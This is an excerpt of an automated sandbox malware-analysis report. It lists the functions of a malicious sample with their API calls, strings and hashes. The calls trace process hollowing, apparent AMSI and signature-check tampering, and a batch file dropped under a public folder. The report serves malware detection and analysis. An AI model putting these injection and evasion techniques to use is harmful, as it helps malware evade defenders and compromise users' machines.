Part of subcall function 02D77BE8: LoadLibraryW.KERNEL32(?,00000000,02D77C9A), ref: 02D77C18
Part of subcall function 02D77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02D77C9A), ref: 02D77C1E
Part of subcall function 02D77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02D77C37

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02DC5398,02DC5388,OpenSession,02DC5360,02D79A30,ScanString,02DC5360), ref: 02D78446
GetThreadContext.KERNEL32(00000870,02DC53DC,ScanString,02DC5360,02D79A30,UacInitialize,02DC5360,02D79A30,ScanBuffer,02DC5360,02D79A30,ScanBuffer,02DC5360,02D79A30,UacInitialize,02DC5360), ref: 02D787DF
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(0000087C,002CCFF8,02DC54B0,00000004,02DC54B8,ScanBuffer,02DC5360,02D79A30,ScanString,02DC5360,02D79A30,Initialize,02DC5360,02D79A30,UacScan,02DC5360), ref: 02D78A3C
NtUnmapViewOfSection.N(0000087C,00400000,ScanBuffer,02DC5360,02D79A30,ScanString,02DC5360,02D79A30,Initialize,02DC5360,02D79A30,0000087C,002CCFF8,02DC54B0,00000004,02DC54B8), ref: 02D78BB7

Part of subcall function 02D77968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02D77975
Part of subcall function 02D77968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02D7797B
Part of subcall function 02D77968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02D7799B

Strings

UacInitialize, xrefs: 02D7820A, 02D7856B, 02D786EF, 02D787F3, 02D7950D
NtOpenObjectAuditAlarm, xrefs: 02D79811
Initialize, xrefs: 02D782C2, 02D788D5, 02D78A5C, 02D78E45, 02D790A7, 02D79217, 02D7938A, 02D795EF
SLGetLicenseInformation, xrefs: 02D78537
BCryptQueryProviderRegistration, xrefs: 02D79764
bcrypt, xrefs: 02D79755, 02D79769, 02D7977D
UacScan, xrefs: 02D7804B, 02D78263, 02D78864, 02D78C60, 02D78DD4, 02D7957E
sppc, xrefs: 02D7854E
IC, xrefs: 02D794E4
ScanBuffer, xrefs: 02D780A4, 02D7812C, 02D784C7, 02D785DC, 02D7867E, 02D789B7, 02D78B3E, 02D78CD1, 02D78EB6, 02D78FCB, 02D79189, 02D792F9, 02D7946C, 02D79660, 02D7987E, 02D79941
OpenSession, xrefs: 02D77F81, 02D783A4, 02D78456, 02D7982C, 02D798D0
BCryptVerifySignature, xrefs: 02D79750
BCryptRegisterProvider, xrefs: 02D79778
NtReadVirtualMemory, xrefs: 02D797FD
ntdll, xrefs: 02D79802, 02D79816
ScanString, xrefs: 02D77FDA, 02D78185, 02D78333, 02D78760, 02D78946, 02D78ACD, 02D78F5A, 02D79118, 02D79288, 02D793FB, 02D796E6, 02D79793

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressHandleMemoryModuleProcVirtual$AllocateContextCreateLibraryLoadProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$bcrypt$ntdll$sppc$IC
API String ID: 3979268988-3678116285
Opcode ID: 1439d0662a75054c79658631bd8e7eb8d8945f84aabd3be3042b982d857c1145
Instruction ID: 4195801a1987daf057053832354dc44a2604602337da0afbad2f29db36940283
Opcode Fuzzy Hash: 1439d0662a75054c79658631bd8e7eb8d8945f84aabd3be3042b982d857c1145
Instruction Fuzzy Hash: 91E22F31A411699FEB21EBA0DC94BEE73B6EF45700F1045A6E009BB314EE74AE45CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02D65A90 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02D60000,02D8B790), ref: 02D65AAC
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02D60000,02D8B790), ref: 02D65ACA
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02D60000,02D8B790), ref: 02D65AE8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02D65B06
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02D65B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02D65B4F
RegQueryValueExA.ADVAPI32(?,02D65CFC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02D65B95,?,80000001), ref: 02D65B6D
RegCloseKey.ADVAPI32(?,02D65B9C,00000000,?,?,00000000,02D65B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02D65B8F
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02D65BAC
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02D65BB9
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02D65BBF
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02D65BEA
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02D65C31
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02D65C41
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02D65C69
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02D65C79
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02D65C9F
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02D65CAF

Strings

Software\Borland\Delphi\Locales, xrefs: 02D65AFC
Software\Borland\Locales, xrefs: 02D65AC0, 02D65ADE

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 1d57a02b5b4aaeba92be0ceb3202deeed7289e675d5857e7a061eafed4101763
Instruction ID: 8d3f82cfec7bbbe01f4780a405a260ec23c1a6316923526aa36c4d2f9a426197
Opcode Fuzzy Hash: 1d57a02b5b4aaeba92be0ceb3202deeed7289e675d5857e7a061eafed4101763
Instruction Fuzzy Hash: E1514FB1A4020D6BFB21D6A4DC4AFFE77ADDB08744F8041A1A604E6381E674DE84CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02D7CA6C Relevance: 17.9, APIs: 4, Strings: 6, Instructions: 400
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02D77BE8: LoadLibraryW.KERNEL32(?,00000000,02D77C9A), ref: 02D77C18
Part of subcall function 02D77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02D77C9A), ref: 02D77C1E
Part of subcall function 02D77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02D77C37

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000030,00000000,00000000,02DC5644,02DC5688,ScanString,02DC5344,02D7D0A4,OpenSession,02DC5344), ref: 02D7CDD3
WaitForSingleObject.KERNEL32(00000860,000000FF,ScanString,02DC5344,02D7D0A4,OpenSession,02DC5344,02D7D0A4,ScanString,02DC5344,02D7D0A4,OpenSession,02DC5344,02D7D0A4,UacScan,02DC5344), ref: 02D7D01F
CloseHandle.KERNEL32(00000860,00000860,000000FF,ScanString,02DC5344,02D7D0A4,OpenSession,02DC5344,02D7D0A4,ScanString,02DC5344,02D7D0A4,OpenSession,02DC5344,02D7D0A4,UacScan), ref: 02D7D02A
CloseHandle.KERNEL32(000005E4,00000860,00000860,000000FF,ScanString,02DC5344,02D7D0A4,OpenSession,02DC5344,02D7D0A4,ScanString,02DC5344,02D7D0A4,OpenSession,02DC5344,02D7D0A4), ref: 02D7D035

Strings

AmsiOpenSession, xrefs: 02D7CC00
Amsi, xrefs: 02D7CC11
ScanString, xrefs: 02D7CB57, 02D7CCFB, 02D7CEC1, 02D7CFAD
OpenSession, xrefs: 02D7CAFE, 02D7CCA2, 02D7CE50, 02D7CF3C
*"C:\Users\Public\Libraries\XjfxsfmnO.bat" , xrefs: 02D7CBDD, 02D7CD9D
UacScan, xrefs: 02D7CAA5, 02D7CC49, 02D7CDDF

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Handle$Close$AddressCreateLibraryLoadModuleObjectProcProcessSingleUserWait
String ID: *"C:\Users\Public\Libraries\XjfxsfmnO.bat" $Amsi$AmsiOpenSession$OpenSession$ScanString$UacScan
API String ID: 1205125484-3278934373
Opcode ID: 04b818dc3055aecf67f7ff456ed3c64cde8124a070495a1deb704635bc4ba14a
Instruction ID: ccd81ae1f4cbbe1347aa1440ef014536393f85ef423bdc3e8406033378dfd0e1
Opcode Fuzzy Hash: 04b818dc3055aecf67f7ff456ed3c64cde8124a070495a1deb704635bc4ba14a
Instruction Fuzzy Hash: 1CF1EE34A401599FEB20FBA4D884BEE73B7EF85700F608566E108BB354DB74AD468F61

Uniqueness

Uniqueness Score: -1.00%

Function 02D77AC0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,02D79A30,Initialize,02DC5360,02D79A30,UacScan,02DC5360,02D79A30,UacInitialize,02DC5360,02D79A30,00000870,02DC53DC,ScanString,02DC5360,02D79A30), ref: 02D77AD2
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02D77ADF
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(0000087C,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,02D79A30,Initialize,02DC5360,02D79A30,UacScan,02DC5360,02D79A30,UacInitialize), ref: 02D77AF6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,02D79A30,Initialize,02DC5360,02D79A30,UacScan,02DC5360,02D79A30,UacInitialize,02DC5360,02D79A30,00000870,02DC53DC), ref: 02D77B05

Strings

BCryptVerifySignature, xrefs: 02D77ADD
bcrypt, xrefs: 02D77AD1

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: ad32a12dd2a313207f2abf6604a44fcdea95e0bf229231ac431631d10f8221b9
Instruction ID: f4ae16c2b72f0d90a987651b397b3c057fa568fc8d5916a94cc6abc78e4cab5a
Opcode Fuzzy Hash: ad32a12dd2a313207f2abf6604a44fcdea95e0bf229231ac431631d10f8221b9
Instruction Fuzzy Hash: A1F0E27260A3543EE221A1685C84EBFA29DCBC27A0F404A6DF55496380EB69CC04C3F2

Uniqueness

Uniqueness Score: -1.00%

Function 02D77966 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02D77975
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02D7797B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02D7799B

Strings

C:\Windows\System32\ntdll.dll, xrefs: 02D77970
NtAllocateVirtualMemory, xrefs: 02D7796B

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: d54ec32f136a03ce1ddf6ef2f4846a6a233c50e85c76b4f3fa4345f1c8f6a02f
Instruction ID: adc3b80cbd31bde4d244a5d2f5379926d882fc79f7e8a342e4fc99d76c893ea6
Opcode Fuzzy Hash: d54ec32f136a03ce1ddf6ef2f4846a6a233c50e85c76b4f3fa4345f1c8f6a02f
Instruction Fuzzy Hash: E7E0E5B2640209BFEB00DEA8E845EEB77ACEB08610F404412BA09D7200E774ED108BB5

Uniqueness

Uniqueness Score: -1.00%

Function 02D77968 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02D77975
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02D7797B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02D7799B

Strings

C:\Windows\System32\ntdll.dll, xrefs: 02D77970
NtAllocateVirtualMemory, xrefs: 02D7796B

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 608cf7b03bf3f743939e1ec53dd90492b625869a64a9c0445bdf353ef5417d6a
Instruction ID: 67cf424bb0e73d29cb49fd1b022b1d9a8766afcc8f160a9ed8a55f50dc2c6460
Opcode Fuzzy Hash: 608cf7b03bf3f743939e1ec53dd90492b625869a64a9c0445bdf353ef5417d6a
Instruction Fuzzy Hash: 31E01AB254020DBFEB00DEA8E845EDB77ACEB08610F404412BA09D7300E774ED108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 02D7C4DC Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02D64EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02D64EF2

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02D7C5AC), ref: 02D7C517
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02D7C5AC), ref: 02D7C547
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02D7C55C
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02D7C588
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02D7C591

Part of subcall function 02D64C24: SysFreeString.OLEAUT32(02D7D42C), ref: 02D64C32

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 1615ad2738c753df73c1542e656a77de04b7cb8b46019d8efdd371f47540b714
Instruction ID: e0bc1a77204fffc4be9780fa9ce87e45174f51d5263d1667663b2dda28a14790
Opcode Fuzzy Hash: 1615ad2738c753df73c1542e656a77de04b7cb8b46019d8efdd371f47540b714
Instruction Fuzzy Hash: 3F219575A50308BBEB11EA94CC56FEEB7BDEB08700F500466B600E72C0EA74AE458B65

Uniqueness

Uniqueness Score: -1.00%

Function 02D7C8AC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02D7C9EA

Strings

ScanBuffer, xrefs: 02D7C933
OpenSession, xrefs: 02D7C98C
Initialize, xrefs: 02D7C8DA

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 399747baea58aa9ad0b37fe602ca9dcdf76c7ee14275051cf908b447634213d5
Instruction ID: 232f92507ccf48d2e0878abde7960b90dde944bb50f8554f8a97beba0425ead4
Opcode Fuzzy Hash: 399747baea58aa9ad0b37fe602ca9dcdf76c7ee14275051cf908b447634213d5
Instruction Fuzzy Hash: FB410031B642499FEB20EBA4D855EEEB3F6EF88715F604426E041B7350EA74AD058F60

Uniqueness

Uniqueness Score: -1.00%

Function 02D7C3F6 Relevance: 6.1, APIs: 4, Instructions: 81nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02D64EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02D64EF2

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02D7C4CA), ref: 02D7C437
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02D7C471
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02D7C49E
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02D7C4A7

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: d833fbb6e1e79520c1ccf49dabcab13dd4e971f5194df6a05d3b13d97bcfcb2a
Instruction ID: 7a23c3f6621696bc6116e22a02645a374959414ef6f909142b700211b7daca42
Opcode Fuzzy Hash: d833fbb6e1e79520c1ccf49dabcab13dd4e971f5194df6a05d3b13d97bcfcb2a
Instruction Fuzzy Hash: F921B371A50208BFEB20DBA4DC46FEEB7BDEB04714F514466B604F72D0E6B46E048A64

Uniqueness

Uniqueness Score: -1.00%

Function 02D7C3F8 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02D64EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02D64EF2

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02D7C4CA), ref: 02D7C437
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02D7C471
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02D7C49E
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02D7C4A7

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: e0340b50de51c17d32799b1bfddfb1d616d6d9859abb7fd4bfc74bf618f37741
Instruction ID: 251377376822ad00012a5e0e72c25e79bc38f56aa910a6d731ce0cc7c1209f08
Opcode Fuzzy Hash: e0340b50de51c17d32799b1bfddfb1d616d6d9859abb7fd4bfc74bf618f37741
Instruction Fuzzy Hash: 0F21B371A50208BFEB20DB94DC46FEEB7BDEB04714F514466B604B72D0E6B46E048A64

Uniqueness

Uniqueness Score: -1.00%

Function 02D7C368 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02D64EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02D64EF2

RtlInitUnicodeString.N(?,?,00000000,02D7C3E2), ref: 02D7C390
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02D7C3E2), ref: 02D7C3A6
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02D7C3E2), ref: 02D7C3C5

Part of subcall function 02D64C24: SysFreeString.OLEAUT32(02D7D42C), ref: 02D64C32

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: 76c514489836fa29c099d27321d39258502a5dbd56c48bb4459f660f6b153d56
Instruction ID: 9abb64f9f6860c55068cf6275eaedd775122c0835f7aadce8c5db03918573ff7
Opcode Fuzzy Hash: 76c514489836fa29c099d27321d39258502a5dbd56c48bb4459f660f6b153d56
Instruction Fuzzy Hash: 2801E175950208AFDB11EBA0CD41FDEB3EDEB48700F514462A641E6290EA74AF048B79

Uniqueness

Uniqueness Score: -1.00%

Function 02D76D84 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 02D76D28: CLSIDFromProgID.OLE32(00000000,?,00000000,02D76D75,?,?,?,00000000), ref: 02D76D55

CoCreateInstance.OLE32(?,00000000,00000005,02D76E68,00000000,00000000,02D76DE7,?,00000000,02D76E57), ref: 02D76DD3

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 5f64dcad766a76666e42ca0d74a52eaa6778b81ced9369e9e704f1548c4595f1
Instruction ID: f1861b61ccd9c8a9040c2ae7db5b1dda78f658c402cdac71fe75031dea4cd334
Opcode Fuzzy Hash: 5f64dcad766a76666e42ca0d74a52eaa6778b81ced9369e9e704f1548c4595f1
Instruction Fuzzy Hash: 1201B170214B04AFEB05DF61EC1286B7BADD749B10F914435F501D2740F678DD14C9B0

Uniqueness

Uniqueness Score: -1.00%

Function 02D81AC0 Relevance: 46.7, APIs: 2, Strings: 23, Instructions: 2959sleepprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 02D77BE8: LoadLibraryW.KERNEL32(?,00000000,02D77C9A), ref: 02D77C18
Part of subcall function 02D77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02D77C9A), ref: 02D77C1E
Part of subcall function 02D77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02D77C37

Part of subcall function 02D7C3F8: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02D7C4CA), ref: 02D7C437
Part of subcall function 02D7C3F8: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02D7C471
Part of subcall function 02D7C3F8: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02D7C49E
Part of subcall function 02D7C3F8: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02D7C4A7

Part of subcall function 02D67E18: GetFileAttributesA.KERNEL32(00000000,?,02D7E0EE,ScanString,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,ScanString,02DC5344,02D88FEC,UacScan,02DC5344,02D88FEC,UacInitialize), ref: 02D67E23

Sleep.KERNEL32(00001770,UacScan,02DC5344,02D88FEC,ScanString,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,ScanBuffer,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC), ref: 02D83094

Part of subcall function 02D7C368: RtlInitUnicodeString.N(?,?,00000000,02D7C3E2), ref: 02D7C390
Part of subcall function 02D7C368: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02D7C3E2), ref: 02D7C3A6
Part of subcall function 02D7C368: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02D7C3E2), ref: 02D7C3C5

